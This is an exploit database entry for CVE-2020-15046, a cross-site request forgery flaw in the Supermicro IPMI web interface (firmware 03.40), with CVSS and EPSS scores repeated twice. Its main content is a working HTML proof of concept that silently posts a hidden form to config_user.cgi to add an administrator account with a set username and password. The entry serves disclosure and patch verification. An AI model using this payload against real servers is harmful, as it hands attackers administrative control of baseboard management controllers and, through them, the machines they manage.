Metin Yunus KandemirEDB-ID:48668SuperMicro IPMI WebInterface 03.40 - Cross-Site Request Forgery (Add Admin)
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
75.8%
# Exploit Title: SuperMicro IPMI WebInterface 03.40 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Metin Yunus Kandemir
# Date: 2020-07-15
# Vendor Homepage: https://www.supermicro.com/
# Version: X10DRH-iT motherboards with BIOS 2.0a and IPMI firmware 03.40
# CVE: CVE-2020-15046
# Source: https://www.totalpentest.com/post/supermicro-ipmi-webgui-cross-site-request-forgery
# Description:
# The web interface on Supermicro X10DRH-iT motherboards with BIOS 2.0a and IPMI firmware 03.40
# allows remote attackers to exploit a cgi/config_user.cgi CSRF issue to add new admin users.
# The fixed versions are BIOS 3.2 and firmware 03.88.
# PoC :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://SuperMicro-IP/cgi/config_user.cgi" method="POST">
<input type="hidden" name="username" value="JOKER" />
<input type="hidden" name="original_username" value="2" />
<input type="hidden" name="password" value="onebadday" />
<input type="hidden" name="new_privilege" value="4" />
<input type="submit" value="submit request" />
</form>
</body>
</html>Related
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
75.8%